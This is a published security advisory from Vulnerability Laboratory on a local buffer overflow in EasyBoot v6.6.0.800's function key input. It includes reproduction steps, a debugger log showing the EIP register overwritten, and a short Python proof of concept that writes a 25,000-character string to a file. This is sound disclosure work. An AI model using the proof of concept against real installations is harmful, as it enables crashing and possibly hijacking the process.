Document Title: =============== EasyBoot v6.6.0.800 - (Function Key) Buffer Overflow Date: ===== 2018-10-15 References: =========== https://www.vulnerability-lab.com/get_content.php?id=2155 VL-ID: ===== 2155 Common Vulnerability Scoring System: ==================================== 6.7 Vulnerability Class: ==================== Buffer Overflow Introduction: ============= EasyBoot lets you design MultiBoot CDs and DVDs. The program automatically produces the required boot image files and creates an ISO file that you can burn with your burning program as an image. EasyBoot is an integrated tool to create MultiBoot, Menu driven CDs & DVDs with native language. It has the ability to automatically produce boot image files, and generate the ISO file as well. Using your CD/DVD Recording software such as Nero or Roxio to Record the ISO, you get a bootable CD/DVD that completely belongs to you. (Copy of the Homepage: https://www.wintotal.de/download/easyboot/ & http://www.ezbsystems.com/easyboot/) Abstract: ========= An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official EasyBoot v6.6.0.800 software application. Report-Timeline: ================ 2018-10-15: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Affected Products: ================== EZB Systems Inc Product: EasyBoot - Boot Medium Software v6.6.0.800 Exploitation-Technique: ======================= Local Severity: ========= High Details: ======== A buffer overflow vulnerability has been discovered in the official EasyBoot v6.6.0.800 software application. The vulnerability allows local attackers to overwrite the registers to compromise the local software process. The vulnerability is located in the function key value input of the active directory on add. An attacker can manipulate the eip register in order to execute the next instruction of their choice. Attackers are able to for example execute arbitrary codes with process privileges. The attacker includes a large unicode string to overwrite the eip register of the process. Finally the attacker is able to takeover the process by an overwrite of the active program process to compromise the computer system. The security risk of the local buffer overflow vulnerability is estimated as high with a cvss count of 6.7. Exploitation of the buffer overflow vulnerability requires a low privilege restricted system user account without user interaction. Successful exploitation of the vulnerability results in overwrite of the active registers to compromise of the computer system or process. Vulnerable Module(s): [+] Active Directory Vulnerable Function(s): [+] Add Affected Input(s): [+] function key Proof of Concept: ================= The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Launch EasyBoot.exe 2. Run the code in python and a file format (.txt) will create 3. Click on 'Diver' tab 4. open the file (.txt) and copy paste characters AAAAAAA+ .... in input 'function key' 5. Click on the 'Down' button 6. Software will crash with an access violation and other unhandled errors 7. Successful reproduce of the local buffer overflow vulnerability! --- Debug Session Logs [WinDBG] --- Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=41414141 edx=77066ccd esi=00000000 edi=00000000 eip=41414141 esp=0012ea30 ebp=0012ea50 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 41414141 ?? ??? Note: EIP & ECX overwritten PoC: Exploit (Python) #!/usr/bin/python buffer = "x41" * 25000 poc = buffer file = open("poc.txt","w") file.write(poc) file.close() print "POC Created by ZwX" print " Email: msk4@live.fr" Solution: ========= The solution could be to restrict and filter the number of characters on input of the function key input value. Risk: ===== The security risk of the local buffer overflow vulnerability in the function key input is estimated as high. Credits: ======== ZwX [msk4@live.fr] - https://www.vulnerability-lab.com/show.php?user=ZwX Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™